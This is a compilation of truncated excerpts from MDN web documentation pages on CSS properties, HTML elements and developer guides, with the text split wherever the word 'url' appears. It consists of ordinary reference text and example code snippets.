url to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media ...
display-mode - CSS: Cascading Style Sheets
this feature corresponds to the web app manifest's display member. both apply to the top-level browsing context and any child browsing contexts. the feature query applies regardless of whether a web app manifest is present. syntax the display-mode feature is specified as a keyword value chosen from the list below. ...
light-level - CSS: Cascading Style Sheets
evel in the ideal range for the screen, and which does not necessitate any particular adjustment. washed the device is used in an exceptionally bright environment, causing the screen to be washed out and difficult to read. for example: bright daylight. examples this code will likely not work on any devices (device compatibility is low). @media (light-level: normal) { p { background:
url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification. editor's draft init...
prefers-reduced-data - CSS: Cascading Style Sheets
2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; font-weight: 400; font-display: swap; /* latin */ src: local('montserrat regular'), local('montserrat-regular'),
url('fonts/montserrat-regular.woff2') format('woff2'); unicode-range: u+0000-00ff, u+0131, u+0152-0153, u+02bb-02bc, u+02c6, u+02da, u+02dc, u+2000-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "...
@viewport - CSS: Cascading Style Sheets
e application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications). @viewport { width: 100vw; /*sets the width of the actual viewport to the device width*/ } note: the use of <meta name="viewport"> tag overrides @viewport syntax the at-rule contains a set of nested descriptors in a css block that is delimited by c
urly braces. a zoom factor of 1.0 or 100% corresponds to no zooming. larger values zoom in. smaller values zoom out. descriptors browser support for @viewport is weak at this time, with support being largely available in internet explorer and edge. even in those browsers, only a small number of descriptors are available. browsers will ignore @viewport if they don't support it, and will ignore any ...
CSS Basic User Interface - CSS: Cascading Style Sheets
css basic user interface is a css module that lets you define the rendering and functionality of features related to the user interface. reference properties appearance box-sizing cursor ime-mode nav-down nav-left nav-right nav-up outline outline-width outline-style outline-color outline-offset resize text-overflow user-select guides using
url values for the cursor property explains how a
url can be used with the cursor property to produce custom cursors. specifications specification status comment css basic user interface module level 4 working draft css basic user interface module level 3 recommendation css level 2 (revision 1) recommendation initial definition. ...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced. note: when using http/2, it may in fact be more bandwidth-friendly to use multiple small requests. implementation suppose an image is given to every item with class toolbtn: .toolbtn { background:
url(myfile.png); display: inline-block; height: 20px; width: 20px; } a background position can be added either as two x, y values after the
url()() in the background, or as background-position. for example: #btn1 { background-position: -20px 0px; } #btn2 { background-position: -40px 0px; } this would move the element with the id 'btn1' 20 pixels to the left and the element with the id '...
Using CSS gradients - CSS: Cascading Style Sheets
cyan); } overlaying gradients gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. the backgrounds are stacked from top to bottom, with the first specified being on top. <div class="layered-image"></div> div { width: 300px; height: 150px; } .layered-image { background: linear-gradient(to right, transparent, mistyrose),
url("https://mdn.mozillademos.org/files/15525/critters.png"); } stacked gradients you can even stack gradients with other gradients. as long as the top gradients aren't entirely opaque, the gradients below will still be visible. <div class="stacked-linear"></div> div { width: 200px; height: 200px; } .stacked-linear { background: linear-gradient(217deg, rgba(255,0,0,.8), rgba(25...
Overview of CSS Shapes - CSS: Cascading Style Sheets
n image which is never displayed on the page purely as a method of creating a complex shape without needing to carefully map a polygon. note that images used in this way must be cors compatible, otherwise shape-outside will act as if none had been given as the value, and you will get no shape. in this next example, we have an image with a fully transparent area, and we are using an image as the
url value for shape-outside. the shape is created around the opaque area — the image of the balloon. shape-image-threshold the shape-image-threshold property is used to set the threshold of image transparency used to define the area of the image used for the shape. if the value of shape-image-threshold is 0.0 (which is the initial value) then the area must be fully transparent. if the value is ...
Syntax - CSS: Cascading Style Sheets
ly infinite number of different values. not all pairs of properties and values are allowed and each property defines what are the valid values. when a value is not valid for a given property, the declaration is deemed invalid and is wholly ignored by the css engine. css declaration blocks declarations are grouped in blocks, that is in a structure delimited by an opening brace, '{' (u+007b left c
urly bracket), and a closing one, '}' (u+007d right c
urly bracket). blocks sometimes can be nested, so opening and closing braces must be matched. such blocks are naturally called declaration blocks and declarations inside them are separated by a semi-colon, ';' (u+003b semicolon). a declaration block may be empty, that is containing null declaration. white spaces around declarations are ignored. ...
background-blend-mode - CSS: Cascading Style Sheets
ion>lighten</option> <option>color-dodge</option> <option>color-burn</option> <option>hard-light</option> <option>soft-light</option> <option>difference</option> <option>exclusion</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background:
url('https://mdn.mozillademos.org/files/8543/br.png'),
url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications ...
background-position-x - CSS: Cascading Style Sheets
ntage>? ]! ]#where <length-percentage> = <length> | <percentage> examples basic example the following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately. ...
background-position-y - CSS: Cascading Style Sheets
ntage>? ]! ]#where <length-percentage> = <length> | <percentage> examples basic example the following example shows a simple background image implementation, with background-position-x and background-position-y used to define the image's horizontal and vertical positions separately. ...
border-image-slice - CSS: Cascading Style Sheets
tput id="width-output">30px</output> </li> <li> <label for="slice">slide to adjust <code>border-image-slice</code></label> <input type="range" min="10" max="45" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image:
url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat: round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-...
border-image-width - CSS: Cascading Style Sheets
ource image is 30 by 30 pixels. html <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image:
url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification. candidate recommendation initial definition ...
<color> - CSS: Cascading Style Sheets
css level 2 (revision 1) orange #ffa500 css color module level 3 aliceblue #f0f8ff antiquewhite #faebd7 aquamarine #7fffd4 azure #f0ffff beige #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a b
urlywood #deb887 cadetblue #5f9ea0 chartreuse #7fff00 chocolate #d2691e coral #ff7f50 cornflowerblue #6495ed cornsilk #fff8dc crimson #dc143c cyan (synonym of aqua) #00ffff darkblue #00008b darkcyan #008b8b darkgoldenrod ...
<filter-function> - CSS: Cascading Style Sheets
ow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background:
url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector...
font-family - CSS: Cascading Style Sheets
lyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork. e.g. "brush script mt", "brush script std", "lucida calligraphy", "lucida handwriting", "apple chancery", cursive. fantasy fantasy fonts are primarily decorative fonts that contain playful representations of characters. e.g. papyrus, herculanum, party let, c
urlz mt, harrington, fantasy. system-ui glyphs are taken from the default user interface font on a given platform. because typographic traditions vary widely across the world, this generic is provided for typefaces that don't map cleanly into the other generics. this is example system-ui text. ui-serif the default user interface serif font. this is example ui-serif text. ui-sans-serif the...
font-optical-sizing - CSS: Cascading Style Sheets
tter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">this paragraph is optically sized. this is the default across browsers.</p> <p class="no-optical-sizing">this paragraph is not optically sized. you should see a difference in supporting browsers.</p> @font-face { src:
url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing. you can download it on github. specifications specification status comment ...
font-stretch - CSS: Cascading Style Sheets
elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { src:
url('https://mdn.mozillademos.org/files/16014/leaguemonovariable.ttf'); font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonovariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { font-stretch: 100%; } .expanded { font-stretch: 200%; ...
font-style - CSS: Cascading Style Sheets
ner"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src:
url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'); font-family:'amstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max-height: 150px; overflow: scroll; } .sample { font: 2rem 'amstelvaralpha', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: colum...
font-weight - CSS: Cascading Style Sheets
="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the terms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src:
url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; font-style: normal; } label { font: 1rem monospace; white-space: nowrap; } .container { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsans', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body {...
mask-clip - CSS: Cascading Style Sheets
mal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</...
mask-composite - CSS: Cascading Style Sheets
n svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg),
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> ...
mask-mode - CSS: Cascading Style Sheets
s toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear-gradient(red, blue); mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addev...
mask-origin - CSS: Cascading Style Sheets
ypediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image:
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option valu...
mask-size - CSS: Cascading Style Sheets
olute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples setting mask size as a percentage css #masked { width: 200px; height: 200px; background: blue linear-gradient(red, blue); -webkit-mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image:
url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option value="50%" selected>50...
mix-blend-mode - CSS: Cascading Style Sheets
if; text-align: left; white-space: nowrap; } .note + .row .cell { margin-top: 0; } .container { position: relative; background: linear-gradient(to right, #000 0%, transparent 50%, #fff 100%), linear-gradient(to bottom, #ff0 0%, #f0f 50%, #0ff 100%); width: 150px; height: 150px; margin: 0 auto; } .r { transform-origin: center; transform: rotate(-30deg); fill:
url(#red); } .g { transform-origin: center; transform: rotate(90deg); fill:
url(#green); } .b { transform-origin: center; transform: rotate(210deg); fill:
url(#blue); } .isolate .group { isolation: isolate; } .normal .item { mix-blend-mode: normal; } .multiply .item { mix-blend-mode: multiply; } .screen .item { mix-blend-mode: screen; } .overlay .item { mix-blend-mode...
overflow-wrap - CSS: Cascading Style Sheets
; /* global values */ overflow-wrap: inherit; overflow-wrap: initial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen from the list of values below. values normal lines may only break at normal word break points (such as a space between two words). anywhere to prevent overflow, an otherwise unbreakable string of characters — like a long word or
url — may be broken at any point if there are no otherwise-acceptable break points in the line. no hyphenation character is inserted at the break point. soft wrap opportunities introduced by the word break are considered when calculating min-content intrinsic sizes. break-word the same as the anywhere value, with normally unbreakable words allowed to be broken at arbitrary points if there are no ...
Event reference
or because the permission was denied. gamepadconnected gamepadevent gamepad a gamepad has been connected. gamepaddisconnected gamepadevent gamepad a gamepad has been disconnected. gotpointercapture pointerevent pointer events element receives pointer capture. hashchange hashchangeevent html5 the fragment identifier of the
url has changed (the part of the
url after the #). lostpointercapture pointerevent pointer events element lost pointer capture. input event html5 the value of an element changes or the content of an element with the attribute contenteditable is modified. invalid event html5 a submittable element has been checked and doesn't satisfy its constraints...
Guide to Web APIs - Developer guides
apture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsu
url apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Adding captions and subtitles to HTML5 video - Developer guides
track> element has the following attributes set: kind is given a value of subtitles, indicating the type of content the files contain label is given a value indicating which language that subtitle set is for — for example english or deutsch — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see. src is assigned a valid
url pointing to the relevant webvtt subtitle file in each case. srclang indicates what language each subtitle files' contents are in. the default attribute is set on the english <track> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection. in addition to adding the <track> elem...
Live streaming web audio and video - Developer guides
ython's twisted framework or use something like flumotion (open source streaming software). for rtmp transfer you can use the nginx rtmp module. shoutcast shoutcast is a cross-platform proprietary technology for streaming media. developed by nullsoft, it allows digital audio content in mp3 or aac format to be broadcast. for web use, shoutcast streams are transmitted over http. note: shoutcast
urls may require a semi-colon to be appended to them. icecast the icecast server is an open source technology for streaming media. maintained by the xiph.org foundation, it streams ogg vorbis/theora as well as mp3 and aac format via the shoutcast protocol. note: shoutcast and icecast are among the most established and popular technologies, but there are many more streaming media systems available.
Video player styling basics - Developer guides
. play/pause, and mute/unmute, these buttons have different states that need to be styled. as mentioned earlier, a `data-state` variable is used to indicate which state such buttons are currently in. for example, the play/pause button has the following background image definitions (the full base64 strings have been omitted for brevity): .controls button[data-state="play"] { background-image:
url('data:image/png;base64,ivborw0kggoaaa ... '); } .controls button[data-state="pause"] { background-image:
url('data:image/png;base64,ivborw0kggoaaa ... '); } when the data-state of the button is changed, the appropriate image will also be changed. all the other buttons are treated in a similar way. progress bar the <progress> element has the following basic style set up: .controls progress...
Rich-Text Editing in Mozilla - Developer guides
txsqdqww6n5ceads=" /> <img class="intlink" title="delete indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the
url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://'){formatdoc('createlink',slnk)}" src="data:image/gif;base64,r0lgodlhfgawaomkab1chdrly19vj3morpgjuaezxrcztb/i19ha7pv8/f///////////////////////yh5baekaa8alaaaaaawabyaaary8mljq7046827/2byiqvhhg9pegvgiklydeuby/rle4fqf4dcj2aqxaijqdcwqcaebwiioemqbgsafhdagghgi9xghahmnoszgjkjei33uesv2+/4vd4taqa7" /> <img class="intlink" title="cut" onclick="formatdoc('...
Making content editable - Developer guides
nagtxsqdqww6n5ceads=" /> <img class="intlink" title="add indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the
url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://'){formatdoc('createlink',slnk)}" src="data:image/gif;base64,r0lgodlhfgawaomkab1chdrly19vj3morpgjuaezxrcztb/i19ha7pv8/f///////////////////////yh5baekaa8alaaaaaawabyaaary8mljq7046827/2byiqvhhg9pegvgiklydeuby/rle4fqf4dcj2aqxaijqdcwqcaebwiioemqbgsafhdagghgi9xghahmnoszgjkjei33uesv2+/4vd4taqa7" /> <img class="intlink" title="cut" onclick="formatdoc('...
A hybrid approach - Developer guides
sing client-side techniques here: another option is to use server-side user-agent detection to show the user the proper content. this keeps the complexity of altering content on the server side, but still allows our layouts to benefit from the flexibility and future-readiness of responsive design. using user-agent detection specifically for content and not layout also allows you to have a single
url for each piece of content, so that the content can adapt its layout to the user’s browser. this is generally thought to be a good thing. instead of maintaining two completely different sites, we simply redirect users to pages for the content they care about. and since the design is responsive, you know that each page looks as good as possible on the user’s screen. we can also address some of...
Printing - Developer guides
tle>mdn example</title> <script type="text/javascript"> function closeprint () { document.body.removechild(this.__container__); } function setprint () { this.contentwindow.__container__ = this; this.contentwindow.onbeforeunload = closeprint; this.contentwindow.onafterprint = closeprint; this.contentwindow.focus(); // required for ie this.contentwindow.print(); } function printpage (s
url) { var ohiddframe = document.createelement("iframe"); ohiddframe.onload = setprint; ohiddframe.style.position = "fixed"; ohiddframe.style.right = "0"; ohiddframe.style.bottom = "0"; ohiddframe.style.width = "0"; ohiddframe.style.height = "0"; ohiddframe.style.border = "0"; ohiddframe.src = s
url; document.body.appendchild(ohiddframe); } </script> </head> <body> <p><span oncl...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
code. this can be split further into two parts, for phone numbers which have an exchange number and then a number within the exchange. for the phone number "555-6502", use "tel-local-prefix" for "555" and "tel-local-suffix" for "6502". "tel-extension" a telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company. "impp" a
url for an instant messaging protocol endpoint, such as "xmpp:username@example.net". "
url" a
url, such as a home page or company web site address as appropriate given the context of the other fields in the form. "photo" the
url of an image representing the person, company, or contact information given in the other fields in the form. see the whatwg standard for more detailed information. note...
HTML attribute: multiple - HTML: Hypertext Markup Language
<label for="text">pick a text file to upload: </label> <input type="file" id="text" name="text" accept=".txt"> </p> <p> <input type="submit" value="submit"> </p> </form> note the difference in appearance between the example with multiple set and the other file input without. when the form is submitted,had we used method="get" each selected file's name would have been added to
url parameters as?uploads=img1.jpg&uploads=img2.svg. however, since we are sumbitting multipart form data, we much use post. see the <form> element and sending form data for more information. select the multiple attribute on the <select> element represents a control for selecting zero or more options from the list of options. otherwise, the <select> element represents a control for selecting a sin...
HTML attribute: readonly - HTML: Hypertext Markup Language
the boolean readonly attribute, when present, makes the element not mutable, meaning the user can not edit the control. if the readonly attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation. the readonly attribute is supported by text, search,
url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements. if present on any of these input types and elements, the :read-only pseudo class will match. if the attribute is not included, the :read-write pseudo class will match. the attribute is not supported or relevant to <select> or input types that are already not mutable, such as checkbox and radio or cannot, by definition, start with ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
s stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address,
url, email address, phone number, social media handle, geographic coordinates, and so forth. the <address> element should include the name of the person, people, or organization to which the contact information refers. <address> can be used in a variety of contexts, such as providing a business's contact information in the page header, or indicating the author of an article by including an <address>...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
lue. the default value is different for each browser. the spec advises it to be set to metadata. usage notes: the autoplay attribute has precedence over preload. if autoplay is specified, the browser would obviously need to start downloading the audio for playback. the browser is not forced by the specification to follow the value of this attribute; it is a mere hint. src the
url of the audio to embed. this is subject to http access controls. this is optional; you may instead use the <source> element within the audio block to specify the audio to embed. events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough...
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
n order to embed audio in a web page, you should be using the <audio> element. attributes balance this attribute defines a number between -10,000 and +10,000 that determines how the volume will be divided between the speakers. loop this attribute indicates the number of times a sound is to be played and either has a numeric value or the keyword infinite. src this attribute specifies the
url of the sound file to be played, which must be one of the following types: .wav, .au, or .mid. volume this attribute defines a number between -10,000 and 0 that determines the loudness of a page's background sound. example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audi...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
ded content. implicit aria role no corresponding role permitted aria roles application, document, img, none, presentation dom interface htmlembedelement attributes this element's attributes include the global attributes. height the displayed height of the resource, in css pixels. this must be an absolute value; percentages are not allowed. src the
url of the resource being embedded. type the mime type to use to select the plug-in to instantiate. width the displayed width of the resource, in css pixels. this must be an absolute value; percentages are not allowed. usage notes you can use the object-position property to adjust the positioning of the embedded object within the element's frame, and the object-fit property to control how the ...
manifest - HTML: Hypertext Markup Language
note: manifest-based caching mechanism has been deprecated. use service workers instead. the manifest attribute has only effect during early stages of page load, thus changing it via regular dom interfaces has no effect, window.applicationcache interface instead. specifications specification status comment html5the definition of '<html> manifest attribute' in that specification. ...
<input type="date"> - HTML: Hypertext Markup Language
ill fade away. basic uses of date the simplest use of <input type="date"> involves one <input> combined with its <label>, as seen below: <form action="https://example.com"> <label> enter your birthday: <input type="date" name="bday"> </label> <p><button>submit</button></p> </form> this html submits the entered date under the key bday to https://example.com — resulting in a
url like https://example.com/?bday=1955-06-08. setting maximum and minimum dates you can use the min and max attributes to restrict the dates that can be chosen by the user. in the following example, we set a minimum date of 2017-04-01 and a maximum date of 2017-04-30: <form> <label for="party">choose your preferred party date: <input type="date" name="party" min="2017-04-01" max="2017-04-30...
<input type="datetime-local"> - HTML: Hypertext Markup Language
and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted yyyy-mm-ddthh:mm. when the above value submitted to the server, for example, it will look like partydate=2017-06-01t08:30. note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the
url parameters, e.g. partydate=2017-06-01t08%3a30. see encodeuri() for one way to do this. you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascript's date that can be used to convert ...
<input type="tel"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
<input type="text"> - HTML: Hypertext Markup Language
permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. using text inputs <input> elements of type text create basic, single-line inputs. you should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a date,
url, email, or search term, you've got better options available). basic example <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name"> </div> <div> <button>submit</button> </div> </form> this renders like so: when submitted, the data name/value pair sent to the server will be uname=chris (if "chris" was entered as the input val...
<isindex> - HTML: Hypertext Markup Language
er to react to the query. <isindex> is removed html standard. it was deprecated in html 4.01. the same behaviour can be achieved with an html form. all major browsers have now removed <isindex>. attributes like all other html elements, this element accepted the global attributes. prompt this attribute added its value as a prompt for text field. action this attribute determined the server
url to which the query was sent. example <head> <isindex prompt="search document..." action="/search"> </head> in past browsers, this would generate, at parse time, a dom tree equivalent to the following html: <form action="/search"> <hr> <label> search document... <input name="isindex"> </label> <hr> </form> history on june 1992, dan connolly would prefer a different anchor...
<menuitem> - HTML: Hypertext Markup Language
ault this boolean attribute indicates use of the same command as the menu's subject element (such as a button or input). disabled boolean attribute which indicates that the command is not available in the current state. note that disabled is distinct from hidden; the disabled attribute is appropriate in any context where a change in circumstances might render the command relevant. icon image
url, used to provide a picture to represent the command. label the name of the command as shown to the user. required when a command attribute is not present. radiogroup this attribute specifies the name of a group of commands to be toggled as radio buttons when selected. may only be used where the type attribute is radio. type this attribute indicates the kind of command, and can be one of thr...
<object> - HTML: Hypertext Markup Language
can be used together with, or in place of, the data attribute. codebasehtml 4 onlyobsolete since html5 the base path used to resolve relative uris specified by classid, data, or archive. if not specified, the default is the base uri of the current document. codetypehtml 4 onlyobsolete since html5 the content type of the data specified by classid. data the address of the resource as a valid
url. at least one of data and type must be defined. declarehtml 4 onlyobsolete since html5 the presence of this boolean attribute makes this element a declaration only. the object must be instantiated by a subsequent <object> element. in html5, repeat the <object> element completely each that that the resource is reused. formhtml5 the form element, if any, that the object element is associated wi...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
aria role no corresponding role permitted aria roles any dom interface htmlquoteelement usage note: most modern browsers will automatically add quotation marks around text inside a <q> element. a style rule may be needed to add quotation marks in older browsers. attributes this element includes the global attributes. cite the value of this attribute is a
url that designates a source document or message for the information quoted. this attribute is intended to point to information explaining the context or the reference for the quote. example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification ...
<script>: The Script element - HTML: Hypertext Markup Language
still include the path. same-origin: a referrer will be sent for same origin, but cross-origin requests will contain no referrer information. strict-origin: only send the origin of the document as the referrer when the protocol security level stays the same (e.g. https→https), but don't send it to a less secure destination (e.g. https→http). strict-origin-when-cross-origin: send a full
url when performing a same-origin request, but only send the origin when the protocol security level stays the same (e.g.https→https), and send no header to a less secure destination (e.g. https→http). unsafe-
url: the referrer will include the origin and the path (but not the fragment, password, or username). this value is unsafe, because it leaks origins and paths from tls-protected resources ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
